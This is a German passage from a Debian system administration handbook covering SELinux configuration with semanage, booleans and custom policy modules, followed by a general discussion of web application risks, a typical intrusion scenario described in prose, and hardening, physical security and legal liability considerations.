Jedes Mal, wenn sich ein Benutzer anmeldet, wird ihm eine SELinux-Identität zugewiesen. Diese bestimmt die Rollen, die er bestätigen kann. Diese beiden Zuordnungen (des Benutzers zur Identität und der Identität zu den Rollen) können mit dem Befehl semanage konfiguriert werden.

Sie sollten auf jeden Fall die Handbuchseite semanage(8) lesen, auch wenn die Befehlssyntax für alle verwalteten Konzepte tendenziell ähnlich ist. Sie werden Optionen finden, die für alle Unterbefehle gleich sind: -a zum Hinzufügen, -d zum Löschen, -m zum Ändern, -l zum Auflisten und -t zur Anzeige des Typs (oder der Domain).

semanage login -l führt die aktuellen Zuordnungen zwischen Benutzerkennungen und SELinux-Identitäten auf. Benutzer, die keinen ausdrücklichen Eintrag haben, erhalten die Identität, die im Eintrag __default__ angegeben ist. Der Befehl semanage login -a -s user_u benutzer ordnet die Identität user_u dem angegebenen Benutzer zu. Schließlich entfernt der Befehl semanage login -d benutzer den Zuordnungseintrag, der an diesen Benutzer vergeben war.

# semanage login -a -s user_u rhertzog
# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         SystemLow-SystemHigh *
rhertzog             user_u               SystemLow            *
root                 unconfined_u         SystemLow-SystemHigh *
system_u             system_u             SystemLow-SystemHigh *
# semanage login -d rhertzog

semanage user -l führt die Zuordnungen zwischen den SELinux-Benutzeridentitäten und den erlaubten Rollen auf. Um eine neue Identität hinzuzufügen, ist es erforderlich, sowohl die entsprechenden Rollen als auch ein kennzeichnendes Präfix festzulegen, das dazu benutzt wird, einem Typ persönliche Dateien (/home/benutzer/*) zuzuordnen. Als Präfix muss user, staff oder sysadm gewählt werden. Das Präfix „staff“ ergibt Dateien des Typs „staff_home_dir_t“. Das Erstellen einer neuen SELinux-Benutzeridentität geschieht mit dem Befehl semanage user -a -R rollen -P präfix identität. Schließlich kann eine SELinux-Benutzeridentität mit dem Befehl semanage user -d identität entfernt werden.

# semanage user -a -R 'staff_r user_r' -P staff test_u
# semanage user -l

Labeling   MLS/       MLS/
SELinux User    Prefix     MCS Level  MCS Range             SELinux Roles

root            sysadm     SystemLow  SystemLow-SystemHigh  staff_r sysadm_r system_r
staff_u         staff      SystemLow  SystemLow-SystemHigh  staff_r sysadm_r
sysadm_u        sysadm     SystemLow  SystemLow-SystemHigh  sysadm_r
system_u        user       SystemLow  SystemLow-SystemHigh  system_r
test_u          staff      SystemLow  SystemLow             staff_r user_r
unconfined_u    unconfined SystemLow  SystemLow-SystemHigh  system_r unconfined_r
user_u          user       SystemLow  SystemLow             user_r
# semanage user -d test_u

14.5.3.3. Dateikontexte, Ports und Boolesche Optionen verwalten

Jedes SELinux-Modul stellt einen Satz von Dateibezeichnungsregeln zur Verfügung, aber es ist auch möglich, eigene Bezeichnungsregeln hinzuzufügen, um einen speziellen Fall abzudecken. Wenn Sie zum Beispiel möchten, dass der Webserver in der Lage ist, Dateien innerhalb der /srv/www/-Dateihierarchie zu lesen, könnten Sie semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" gefolgt von restorecon -R /srv/www/ ausführen. Der erste Befehl registriert die neue Bezeichnungsregel, und der zweite gleicht die Dateitypen gemäß den derzeitigen Bezeichnungsregeln an.

Ebenso sind die TCP/UDP-Ports in einer Weise gekennzeichnet, die sicherstellt, dass nur die entsprechenden Daemons an ihnen Verbindungen annehmen können. Wenn Sie zum Beispiel möchten, dass der Web-Server am Port 8080 Verbindungen annehmen kann, sollten Sie den Befehl semanage port -m -t http_port_t -p tcp 8080 ausführen.

Einige SELinux-Module exportieren Boolesche Optionen, die Sie justieren können, um das Verhalten der Standardregeln zu ändern. Das Dienstprogramm getsebool kann dazu verwendet werden, diese Optionen anzusehen (getsebool boolesche_option zeigt eine Option an und getsebool -a alle). Der Befehl setsebool boolesche_option wert ändert den aktuellen Wert einer Booleschen Option. Die Option -P macht die Änderung dauerhaft, was bedeutet, dass der neue Wert zum Standard wird und über Neustarts hinaus erhalten bleibt. Das unten stehende Beispiel gewährt Web-Servern Zugriff auf Home-Verzeichnisse (dies ist nützlich, wenn Benutzer persönliche Websites in ~/public_html/ haben).

# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> off
# setsebool -P httpd_enable_homedirs on
# getsebool httpd_enable_homedirs
httpd_enable_homedirs --> on

14.5.4. Die Regeln anpassen

Da das SELinux-Regelwerk modular ist, könnte es interessant sein, neue Module für (möglicherweise maßgefertigte) Anwendungen zu entwickeln, für die es diese noch nicht gibt. Diese neuen Module würden dann die Referenzrichtlinien ergänzen.

Zur Erstellung neuer Module werden die Pakete selinux-policy-dev und selinux-policy-doc benötigt. Letzteres enthält die Dokumentation der Standardregeln (/usr/share/doc/selinux-policy-doc/html/) und Beispieldateien, die als Vorlagen für die Erstellung neuer Module verwendet werden können. Installieren Sie diese Dateien und untersuchen Sie sie genauer:

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile
$ cp /usr/share/doc/selinux-policy-doc/example.fc ./
$ cp /usr/share/doc/selinux-policy-doc/example.if ./
$ cp /usr/share/doc/selinux-policy-doc/example.te ./

Die Datei .te ist die wichtigste. Sie legt die Regeln fest. Die Datei .fc bestimmt die „Dateikontexte“, das heißt, die Typen, die den auf diese Module bezogenen Dateien zugeordnet sind. Die in der Datei .fc befindlichen Daten werden während des Dateikennzeichnungsschrittes benutzt. Schließlich legt die Datei .if die Schnittstelle der Module fest: es ist ein Satz „öffentlicher Funktionen“, die andere Module verwenden können, um ordnungsgemäß mit dem Modul, das Sie erstellen, zu interagieren.

14.5.4.1. Eine .fc-Datei schreiben

Das Lesen des unten stehenden Beispiels sollte genügen, um die Struktur einer derartigen Datei zu verstehen. Sie können reguläre Ausdrücke verwenden, um denselben Sicherheitskontext mehreren Dateien zuzuordnen oder auch einem ganzen Verzeichnisbaum.

Beispiel 14.2. beispiel.fc-Datei

# myapp executable will have:
# label: system_u:object_r:myapp_exec_t
# MLS sensitivity: s0
# MCS categories: <none>

/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Eine .if-Datei schreiben

In unten stehendem Beispiel kontrolliert die erste Schnittstelle („myapp_domtrans“), wer die Anwendung ausführen kann. Die zweite („myapp_read_log“) gewährt Schreibzugriff auf die Protokolldateien der Anwendung.

Jede Schnittstelle muss einen gültigen Regelsatz erzeugen, der in eine .te-Datei eingegliedert werden kann. Sie sollten daher alle Typen, die Sie verwenden, festlegen (mit dem Makro gen_require) und Standardanweisungen benutzen, um Berechtigungen zu vergeben. Beachten Sie jedoch, dass Sie auch Schnittstellen benutzen können, die von anderen Modulen bereitgestellt werden. Der nächste Abschnitt gibt weitere Erläuterungen darüber, wie diese Berechtigungen ausgedrückt werden können.

Beispiel 14.3. beispiel.if-Datei

## <summary>Myapp example policy</summary>
## <desc>
##      <p>
##              More descriptive text about myapp.  The <desc>
##              tag can also use <p>, <ul>, and <ol>
##              html tags for formatting.
##      </p>
##      <p>
##              This policy supports the following myapp features:
##              <ul>
##              <li>Feature A</li>
##              <li>Feature B</li>
##              <li>Feature C</li>
##              </ul>
##      </p>
## </desc>
#

########################################
## <summary>
##      Execute a domain transition to run myapp.
## </summary>
## <param name="domain">
##      Domain allowed to transition.
## </param>
#
interface(`myapp_domtrans',`
gen_require(`
type myapp_t, myapp_exec_t;
')

domtrans_pattern($1,myapp_exec_t,myapp_t)
')

########################################
## <summary>
##      Read myapp log files.
## </summary>
## <param name="domain">
##      Domain allowed to read the log files.
## </param>
#
interface(`myapp_read_log',`
gen_require(`
type myapp_log_t;
')

logging_search_logs($1)
allow $1 myapp_log_t:file r_file_perms;
')

DOKUMENTATION Erläuterungen zu den Referenzrichtlinien

Die Referenzrichtlinien entwickeln sich wie jedes freie Softwareprojekt: auf der Grundlage freiwilliger Beiträge. Das Projekt wird von Tresys gehostet, einem der aktivsten Unternehmen im Bereich SELinux. Sein Wiki enthält Erläuterungen darüber, wie die Regeln strukturiert sind, und wie Sie neue erstellen können.

→ https://github.com/TresysTechnology/refpolicy/wiki/GettingStarted

14.5.4.3. Eine .te-Datei schreiben

Sehen Sie sich die beispiel.te-Datei an:

WEITERE SCHRITTE Die Makrosprache m4

Die SELinux-Entwickler verwendeten einen Makro-Befehlsprozessor, um die Richtlinien ordentlich zu strukturieren. Anstatt viele ähnliche allow-Anweisungen zu duplizieren, haben sie „Makrofunktionen“ erstellt, um eine Logik auf höherer Ebene zu verwenden, die auch zu viel leichter lesbaren Richtlinien führt.

Konkret wird m4 benutzt, um diese Regeln zu kompilieren. Es führt den umgekehrten Vorgang durch: es erweitert alle diese auf hoher Ebene befindlichen Anweisungen zu einer großen Datenbank von allow-Anweisungen.

Die SELinux-„Schnittstellen“ sind lediglich Makrofunktionen, die bei der Kompilierung durch einen Regelsatz ersetzt werden. Desgleichen sind einige Berechtigungen in Wirklichkeit Sätze von Berechtigungen, die bei der Kompilierung durch ihre Werte ersetzt werden.

policy_module(myapp,1.0.0)

########################################
#
# Declarations
#

type myapp_t;
type myapp_exec_t;
domain_type(myapp_t)
domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;
logging_log_file(myapp_log_t)

type myapp_tmp_t;
files_tmp_file(myapp_tmp_t)

########################################
#
# Myapp local policy
#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;
files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Das Modul muss mit seinem Namen und seiner Versionsnummer gekennzeichnet sein. Diese Anweisung ist obligatorisch.

Falls das Modul neue Typen einführt, muss es sie mit Anweisungen wie dieser festlegen. Zögern Sie nicht, so viele Typen zu erstellen, wie erforderlich sind, anstatt zu viele nutzlose Berechtigungen zu erteilen.

Diese Schnittstellen legen den Typ myapp_t als Prozess-Domain fest, die von jeder mit myapp_exec_t gekennzeichneten ausführbaren Datei benutzt werden sollte. Dies fügt diesen Objekten stillschweigend auch ein exec_type-Attribut hinzu, das seinerseits anderen Modulen ermöglicht, Berechtigungen zur Ausführung dieser Programme zu gewähren: zum Beispiel erlaubt das userdomain-Modul Prozessen mit den Domains user_t, staff_t und sysadm_t, sie auszuführen. Die Domains anderer eingeschränkter Anwendungen sind nicht berechtigt, sie auszuführen, es sei denn, die Regeln gewähren ihnen ähnliche Berechtigungen (dies trifft zum Beispiel auf dpkg mit seiner dpkg_t-Domain zu).

logging_log_file ist eine von den Referenzrichtlinien bereitgestellte Schnittstelle. Sie zeigt an, dass mit diesem Typ gekennzeichnete Dateien Protokolldateien sind, die die entsprechenden Regeln wahrnehmen können sollten (zum Beispiel dem Befehl logrotate Berechtigungen erteilen, sodass er sie handhaben kann).

Die allow-Anweisung ist die grundlegende Anweisung zur Genehmigung eines Vorgangs. Der erste Parameter ist die Prozess-Domain, der es erlaubt ist, den Vorgang auszuführen. Der zweite legt das Objekt fest, das ein Prozess der zuvor genannten Domain handhaben darf. Dieser Parameter hat die Form „type:class“, wobei type sein SELinux-Typ ist und class die Art des Objekts beschreibt (Datei, Verzeichnis, Socket, FIFO usw.). Schließlich beschreibt der letzte Parameter die Berechtigungen (die erlaubten Vorgänge).

Berechtigungen sind als Satz erlaubter Vorgänge festgelegt und entsprechen diesem Schema: { vorgang1 vorgang2 }. Jedoch können Sie auch Makros verwenden, die die nützlichsten Berechtigungen darstellen. Die Datei /usr/share/selinux/devel/include/support/obj_perm_sets.spt listet sie auf.

Die folgende Website stellt eine recht vollständige Liste von Objektklassen und von Berechtigungen, die gewährt werden können, bereit.

→ http://www.selinuxproject.org/page/ObjectClassesPerms

Jetzt müssen Sie lediglich den kleinsten Regelsatz finden, der erforderlich ist, damit die Anwendung oder der Dienst, auf die er abzielt, ordnungsgemäß funktionieren. Um dies zu erreichen, sollten Sie sich gut damit auskennen, wie die Anwendung funktioniert, und welche Art von Daten sie verarbeitet oder erzeugt.

Jedoch ist auch eine auf Erfahrung beruhende Vorgehensweise möglich. Nachdem die relevanten Objekte richtig gekennzeichnet sind, können Sie die Anwendung im permissive-Modus benutzen: die Vorgänge, die verboten würden, werden protokolliert, werden aber weiterhin ausgeführt. Durch eine Analyse der Protokolle können Sie nun die Vorgänge identifizieren, die erlaubt werden sollen. Hier ist ein Beispiel eines derartigen Protokolleintrags:

avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Um diese Mitteilung besser verstehen zu können, gehen wir sie Schritt für Schritt durch.

Tabelle 14.1. Analyse eines SELinux-Ablaufs

Meldung

Beschreibung

avc: denied

Ein Vorgang wurde abgelehnt.

{ read write }

Dieser Vorgang erforderte die Berechtigungen read und write.

pid=1876

Der Prozess mit der PID 1876 hat den Vorgang ausgeführt (oder hat versucht, ihn auszuführen).

comm="syslogd"

Der Prozess war eine Ausführung des Programms syslogd.

name="xconsole"

Das Zielobjekt wurde xconsole genannt. Manchmal kann man stattdessen eine "path"-Variable - mit dem vollen Pfad - haben.

dev=tmpfs

Das Gerät, auf dem sich das Zielobjekt befindet, ist ein tmpfs (ein im Arbeitsspeicher befindliches Dateisystem). Bei einer echten Platte würden Sie die Partition, die das Objekt enthält, sehen (zum Beispiel: „sda3“).

ino=5510

Das Objekt ist mit der Inode-Nummer 5510 bezeichnet.

scontext=system_u:system_r:syslogd_t:s0

Dies ist der Sicherheitskontext des Prozesses, der den Vorgang ausgeführt hat.

tcontext=system_u:object_r:device_t:s0

Dies ist der Sicherheitskontext des Zielobjekts.

tclass=fifo_file

Das Zielobjekt ist eine FIFO-Datei.

Durch Betrachtung dieses Protokolleintrags ist es möglich, eine Regel zu erstellen, die diesen Vorgang erlauben würde. Zum Beispiel: allow syslogd_t device_t:fifo_file { read write }. Dieser Prozess kann automatisiert werden, und genau dies bietet der Befehl audit2allow (aus dem Paket policycoreutils). Diese Herangehensweise ist nur sinnvoll, wenn die verschiedenen Objekte bereits in Übereinstimmung mit den erforderlichen Einschränkungen richtig gekennzeichnet sind. In jedem Fall müssen Sie die erzeugten Regeln sorgfältig überprüfen und sie auf der Grundlage ihrer Kenntnis der Anwendung bewerten. Faktisch tendiert diese Herangehensweise dazu, mehr Berechtigungen zu erteilen als tatsächlich erforderlich sind. Die richtige Lösung besteht häufig darin, neue Typen zu erstellen und dann nur diesen Typen Berechtigungen zu gewähren. Es kommt auch vor, dass ein verweigerter Vorgang für die Anwendung keine Folgen hat. In diesem Fall kann es besser sein, einfach eine „dontaudit“-Regel hinzuzufügen, um einen Protokolleintrag zu vermeiden, obwohl eine Verweigerung stattgefunden hat.

ERGÄNZUNGEN Keine Rollen in den Richtlinien

Es mag seltsam erscheinen, dass bei der Erstellung neuer Regeln Rollen überhaupt nicht auftreten. SELinux verwendet nur die Domains um herauszufinden, welche Vorgänge erlaubt sind. Die Rolle kommt nur indirekt zum Tragen, indem sie es dem Benutzer erlaubt, zu einer anderen Domain zu wechseln. SELinux basiert auf einer Theorie, die Type Enforcement heißt, und der Typ ist das einzige Element, das bei der Gewährung von Berechtigungen zählt.

14.5.4.4. Die Dateien kompilieren

Sobald die drei Dateien (beispiel.if, beispiel.fc und beispiel.te) Ihren Erwartungen an die neuen Regeln entsprechen, führen Sie einfach make NAME=devel aus, um in der Datei beispiel.pp ein Modul zu erstellen (Sie können es sofort mit semodule -i beispiel.pp laden). Falls mehrere Module festgelegt wurden, wird make alle entsprechenden .pp-Dateien erstellen.

14.6. Weitere sicherheitsbezogene Überlegungen

Sicherheit ist nicht nur ein technisches Problem; mehr als alles andere geht es dabei auch um bewährte Verfahrensweisen und um das Verständnis der Risiken. Dieser Abschnitt bespricht einige der häufigeren Risiken, sowie auch einige erprobte Verfahrensweisen, die je nach Sachlage entweder die Sicherheit erhöhen oder die Auswirkung eines erfolgreichen Angriffs verringern sollten.

14.6.1. Inhärente Risiken von Web-Anwendungen

Der universelle Charakter von Web-Anwendungen hat zu ihrer weiten Verbreitung geführt. Häufig laufen mehrere gleichzeitig: eine Web-Mail, ein Wiki, irgendein Gruppenarbeitssystem, Foren, eine Bildergalerie, ein Blog und so weiter. Viele dieser Anwendungen stützen sich auf den „LAMP“-Stack (Linux, Apache, MySQL, PHP). Leider wurden viele dieser Anwendungen auch ohne große Rücksicht auf Sicherheitsprobleme geschrieben. Von außen kommende Daten werden allzu häufig nach nur geringer ober gar keiner Überprüfung benutzt. Indem speziell hierfür ausgelegte Werte geliefert werden, kann der Aufruf eines Befehls unterlaufen werden, so dass stattdessen ein anderer ausgeführt wird. Viele dieser offensichtlichen Probleme sind im Laufe der Zeit behoben worden, jedoch treten regelmäßig neue Sicherheitsprobleme auf.

WÖRTERVERZEICHNIS SQL-Einschleusung

Wenn ein Programm Daten auf unsichere Weise in SQL-Anfragen einfügt, wird es anfällig für SQL-Einschleusungen; dieser Begriff bezieht sich auf den Austausch eines Parameters in einer Weise, dass die tatsächlich vom Programm ausgeführte Anfrage sich von der beabsichtigten unterscheidet, entweder um die Datenbank zu beschädigen oder um auf Daten zuzugreifen, die normalerweise nicht zugänglich sein sollten.

→ https://de.wikipedia.org/wiki/SQL-Injection

Das regelmäßige Aktualisieren von Web-Anwendungen ist daher ein Muss, damit ein Cracker (ob ein professioneller Angreifer oder ein Skript-Kiddie) eine bekannte Sicherheitslücke nicht ausnutzen kann. Das tatsächliche Risiko hängt vom Einzelfall ab und reicht von der Datenvernichtung bis zur Ausführung beliebigen Codes, einschließlich der Verunstaltung von Websites.

14.6.2. Wissen, was zu erwarten ist

Eine Sicherheitslücke in einer Web-Anwendung wird häufig als Ausgangspunkt für einen Einbruchsversuch benutzt. Im Folgenden werden die möglichen Konsequenzen kurz dargestellt.

KURZER BLICK HTTP-Anfragen filtern

Apache 2 enthält Module, die das Filtern ankommender HTTP-Anfragen ermöglichen. Hierdurch können einige Angriffsvektoren gestoppt werden. Zum Beispiel können Pufferüberläufe durch die Begrenzung der Parameterlänge verhindert werden. Allgemeiner ausgedrückt, kann man Parameter überprüfen, schon bevor sie an die Web-Anwendung weitergeleitet werden, und den Zugang aufgrund zahlreicher Kriterien einschränken. Dies kann sogar mit dynamischen Firewall-Aktualisierungen kombiniert werden, so dass ein Client, der eine der Regeln verletzt, für eine bestimmte Zeit vom Zugang zum Web-Server ausgeschlossen wird.

Das Einrichten dieser Überprüfungen kann eine lange und mühsame Aufgabe sein, sie kann sich aber auszahlen, wenn die Web-Anwendung, die eingesetzt werden soll, in Sicherheitsfragen eine zweifelhafte Erfolgsbilanz hat.

mod-security2 (im Paket libapache2-mod-security2) ist das wichtigste derartige Modul. Es kommt sogar mit vielen eigenen, gebrauchsfertigen Regeln (im mod-crs Paket), die Sie leicht aktivieren können.

Die Folgen eines Einbruchs sind unterschiedlich deutlich in Abhängigkeit von den Motiven des Angreifers. Skript-Kiddies wenden lediglich Rezepte an, die sie auf Websites finden; meistens verunstalten sie eine Webseite oder löschen Daten. In subtileren Fällen fügen sie den Webseiten unsichtbare Inhalte hinzu, um so in Suchmaschinen die Verweise auf ihre eigenen Seiten zu verbessern.

Ein weiter fortgeschrittener Angreifer wird darüber hinausgehen. Ein Katastrophenszenario könnte folgendermaßen aussehen: der Angreifer erlangt die Fähigkeit, als Benutzer www-data-Befehle auszuführen. Jedoch erfordert die Ausführung eines Befehls zahlreiche Manipulationen. Um sich sein Leben leichter zu machen, installiert er andere Web-Anwendungen, die speziell dafür entworfen wurden, aus der Ferne zahlreiche Arten von Befehlen auszuführen, wie z.B. das Durchsuchen des Dateisystems, das Begutachten von Berechtigungen, das Hoch- oder Herunterladen von Dateien, die Ausführung von Befehlen und sogar das Bereitstellen einer Netzwerkkonsole. Häufig ermöglicht es eine Sicherheitslücke, einen wget-Befehl auszuführen, mit dem Schadsoftware in das Verzeichnis /tmp/ heruntergeladen wird, um sie dann auszuführen. Die Schadsoftware wird häufig von einer fremden Website heruntergeladen, die zuvor kompromittiert wurde, um so Spuren zu verwischen und das Finden des Ursprungs des Angriffs zu erschweren.

An diesem Punkt verfügt der Angreifer über ausreichende Bewegungsfreiheit, um einen IRC-bot zu installieren (einen Roboter, der sich mit einem IRC-Server verbindet und über diesen Kanal gesteuert werden kann). Dieser Bot wird häufig dazu verwendet, illegale Dateien zu tauschen (nicht autorisierte Kopien von Filmen oder Software und so weiter). Ein entschlossener Angreifer könnte sogar noch weitergehen wollen. Das Konto www-data erlaubt keinen vollständigen Zugang zum Rechner, und der Angreifer wird versuchen, Administratorrechte zu erlangen. Nun sollte dies nicht möglich sein, aber wenn die Web-Anwendung nicht aktuell war, besteht das Risiko, dass der Kernel und weitere Programme ebenfalls veraltet sind; dies ergibt sich manchmal aus einer Entscheidung des Administrators, der, obwohl er die Sicherheitslücke kennt, es versäumt hat, das System zu aktualisieren, da es keine lokalen Benutzer gibt. Der Angreifer kann dann diese zweite Sicherheitslücke ausnutzen, um Root-Zugang zu erlangen.

WÖRTERVERZEICHNIS Rechteausweitung

Dieser Begriff umfasst alles, was dazu verwendet werden kann, höhere Berechtigungen zu erlangen, als ein bestimmter Benutzer normalerweise haben sollte. Das sudo-Programm dient genau dem Zweck, einigen Benutzern administrative Rechte zu geben. Derselbe Begriff wird aber auch verwendet, um die Tat eines Angreifers zu beschreiben, der eine Sicherheitslücke ausnutzt, um unangemessene Rechte zu erlangen.

Jetzt ist der Angreifer im Besitz des Rechners; er wird gewöhnlich versuchen, diesen privilegierten Zugang möglichst lange zu erhalten. Hierzu ist die Installation eines Rootkits erforderlich, eines Programms, dass einige Komponenten des Systems ersetzt, so dass der Angreifer in der Lage ist, zu einem späteren Zeitpunkt erneut die Privilegien des Administrators zu erlangen; das Rootkit versucht außerdem, sein Vorhandensein zu verbergen, wie auch alle Spuren des Einbruchs. Ein unterwandertes ps-Programm wird dann einige Prozesse nicht auflisten, netstat wird einige der aktiven Verbindungen nicht aufführen und so weiter. Durch Verwendung der Root-Berechtigungen war der Angreifer in der Lage, das ganze System zu beobachten, hat aber keine wichtigen Daten gefunden; daher wird er versuchen, auf andere Rechner des Firmennetzwerks zuzugreifen. Durch die Analyse des Administratorkontos und der Verlaufsdateien findet der Angreifer heraus, auf welche Rechner üblicherweise zugegriffen wird. Indem der Angreifer sudo oder ssh durch ein verfälschtes Programm ersetzt, kann er einige Passwörter des Administrators abfangen, die er bei den entdeckten Servern anwenden wird... und der Einbruch kann sich von hier aus weiterverbreiten.

Dies ist ein Albtraumszenarium, das durch eine Reihe von Maßnahmen verhindert werden kann. Die nächsten Abschnitte beschreiben einige von ihnen.

14.6.3. Die Software wohlüberlegt auswählen

Sobald die möglichen Sicherheitsprobleme bekannt sind, muss ihnen bei jedem Schritt des Bereitstellungsprozesses eines Dienstes Rechnung getragen werden, insbesondere bei der Auswahl der zu installierenden Software. Viele Websites, wie zum Beispiel SecurityFocus.com, unterhalten eine Liste kürzlich entdeckter Sicherheitslücken, die ein Bild einer Sicherheitsbilanz vermitteln können, bevor eine bestimmte Software eingesetzt wird. Natürlich muss diese Information der Popularität der besagten Software gegenübergestellt werden: ein weiter verbreitetes Programm ist ein verlockenderes Ziel und wird folglich eingehender erforscht. Andererseits kann ein Nischenprogramm voller Sicherheitslücken sein, die aufgrund mangelnden Interesses an einem Sicherheitsaudit niemals veröffentlicht werden.

WÖRTERVERZEICHNIS Sicherheitsaudit

Ein Sicherheitsaudit ist der Prozess, bei dem der Quellcode einer Software gründlich gelesen und analysiert wird, wobei nach möglichen Sicherheitslücken Ausschau gehalten wird, die er enthalten könnte. Derartige Audits sind gewöhnlich proaktiv und werden durchgeführt, um zu gewährleisten, dass ein Programm gewisse Sicherheitserfordernisse erfüllt.

In der Welt der freien Software besteht im allgemeinen große Wahlfreiheit, und eine Software einer anderen vorzuziehen, sollte eine Entscheidung sein, die auf örtlich gültigen Kriterien beruht. Eine höhere Anzahl von Leistungsmerkmalen bringt auch ein erhöhtes Risiko einer Sicherheitslücke mit sich, die im Code verborgen sein könnte; es kann auch kontraproduktiv sein, das höchst entwickelte Programm zu wählen, und ein besserer Ansatz besteht gewöhnlich darin, das einfachste Programm, das die Erfordernisse erfüllt, auszuwählen.

WÖRTERVERZEICHNIS Zero-Day-Exploit

Eine Zero-Day-Attacke ist kaum zu verhindern; der Begriff beschreibt eine Sicherheitslücke, die den Autoren des Programms noch nicht bekannt ist.

14.6.4. Einen Rechner als Ganzes verwalten

Die meisten Linux-Distributionen installieren standardmäßig eine Reihe von Unix-Diensten und zahlreiche Hilfsprogramme. In vielen Fällen werden diese Dienste und Programme für den eigentlichen Zweck, zu dem der Administrator den Rechner eingerichtet hat, nicht benötigt. Als allgemeine Richtlinie für Sicherheitsfragen gilt, dass nicht benötigte Software möglichst deinstalliert werden sollte. In der Tat macht es keinen Sinn, einen FTP-Server abzusichern, wenn in einem anderen, nicht benutzten Dienst eine Sicherheitslücke dazu ausgenutzt werden kann, Administratorrechte für den ganzen Rechner zu erlangen.

Aus demselben Grund werden Firewalls häufig so konfiguriert, dass sie Zugang nur zu solchen Diensten ermöglichen, die öffentlich zugänglich sein sollen.

Heutige Rechner sind ausreichend leistungsfähig, um mehrere Dienste auf demselben physischen Gerät unterzubringen. Aus ökonomischer Sicht ist eine solche Möglichkeit interessant: nur einen Rechner verwalten, geringerer Energieverbrauch und so weiter. Unter Sicherheitsaspekten kann diese Entscheidung jedoch problematisch sein. Ein einziger kompromittierter Dienst kann Zugang zum ganzen Rechner zur Folge haben, wodurch wiederum die anderen Dienste, die auf demselben Rechner untergebracht sind, gefährdet werden. Diesem Risiko kann entgegengewirkt werden, indem man die Dienste voneinander isoliert. Dies kann entweder durch Virtualisierung erreicht werden (jeder Service wird in einer eigenen virtuellen Maschine oder einem Container betrieben) oder durch AppArmor/SELinux (jeder Dienste-Daemon hat einen passend gestalteten Satz an Berechtigungen).

14.6.5. Benutzer sind Spieler

Spricht man über Sicherheit, so denkt man sogleich an den Schutz vor Angriffen durch anonyme Cracker, die sich irgendwo im Internetdschungel verbergen; eine häufig vergessene Tatsache ist jedoch, dass Risiken auch von innen entstehen können: ein Angestellter, der im Begriff ist, die Firma zu verlassen, könnte sensible Dateien aus wichtigen Projekten herunterladen und an Wettbewerber verkaufen, ein nachlässiger Verkäufer könnte während eines Treffens mit einem potentiellen Neukunden seinen Schreibtisch verlassen, ohne seine Sitzung zu sperren, ein ungeschickter Benutzer könnte versehentlich das falsche Verzeichnis löschen und so weiter.

Die Reaktion auf diese Risiken kann technische Lösungen umfassen: nur die tatsächlich erforderlichen Berechtigungen sollten den Benutzern gewährt werden, und regelmäßige Sicherungskopien sind unabdingbar. In vielen Fällen wird der angemessene Schutz jedoch auch mit einer Unterweisung der Benutzer in der Vermeidung von Risiken verbunden sein.

KURZER BLICK autolog

Das Paket autolog stellt ein Programm bereit, das nach einer einstellbaren Zeitspanne untätige Benutzer selbstständig abschaltet. Es ermöglicht es auch, Benutzerprozesse abzustellen, die nach dem Ende einer Sitzung bestehen bleiben, um so Benutzer daran zu hindern, Daemons zu betreiben.

14.6.6. Physische Sicherheit

Es macht keinen Sinn, die Dienste und Netzwerke abzusichern, wenn die Rechner selbst nicht geschützt sind. Es gehört sich, dass wichtige Daten auf im laufenden Betrieb austauschbaren Platten in einem RAID-System gespeichert sind, da Festplatten irgendwann ausfallen und die Datenverfügbarkeit unabdingbar ist. Aber wenn jeder Pizzalieferant das Gebäude betreten, in den Serverraum schleichen und mit einigen ausgewählten Festplatten davonlaufen kann, ist ein wichtiger Teilbereich der Sicherheit nicht gegeben. Wer kann den Serverraum betreten? Wird der Zugang überwacht? Diese Fragen verdienen Beachtung (und eine Antwort), wenn die physische Sicherheit beurteilt wird.

Zur physischen Sicherheit gehört auch, dass Unfallrisiken wie Brände bedacht werden. Wegen dieses besonderen Risikos ist es gerechtfertigt, die Sicherungsmedien in einem separaten Gebäude zu lagern, oder wenigstens in einem feuersicheren Stahlschrank.

14.6.7. Rechtliche Haftung

Einem Administrator vertrauen seine Nutzer mehr oder weniger vorbehaltlos, genauso wie die Nutzer des Netzwerks im Allgemeinen. Er sollte deshalb jede Nachlässigkeit vermeiden, die von böswilligen Menschen ausgenutzt werden könnte.

Ein Angreifer, der die Kontrolle über Ihren Rechner übernimmt und ihn dann als vorgeschobene Basis („Relais-System“ genannt) benutzt, um von ihm weitere ruchlose Aktivitäten auszuführen, könnte Ihnen gesetzliche Unannehmlichkeiten verursachen, da die angegriffene Seite den Angriff zunächst als von Ihrem System ausgehend sieht, und daher Sie als Angreifer (oder als Komplizen) betrachten wird. In vielen Fällen wird der Angreifer Ihren Server als Relais zur Versendung von Spam benutzen, was keine großen Auswirkungen haben sollte (außer möglicherweise die Registrierung in schwarzen Listen, die Ihre Fähigkeit, legitime E-Mails zu versenden, beschränken könnte), aber dennoch unangenehm wäre. In anderen Fällen können durch Ihren Rechner bedeutendere Störungen verursacht werden, wie zum Beispiel Denial-of-Service-Angriffe. Dies wird manchmal zu Einnahmeverlusten führen, da die berechtigten Dienste nicht verfügbar sein und Daten zerstört werden können; manchmal wird dies auch tatsächliche Kosten verursachen, da die angegriffene Seite rechtliche Schritte gegen Sie einleiten kann. Rechteinhaber können Sie verklagen, wenn eine nicht autorisierte Kopie eines urheberrechtlich geschützten Werkes von Ihrem Server weitergegeben wird, wie auch andere Unternehmen, falls sie aufgrund von Dienstgütevereinbarungen zu Strafzahlungen infolge des Angriffs durch Ihren Rechner verpflichtet sind.

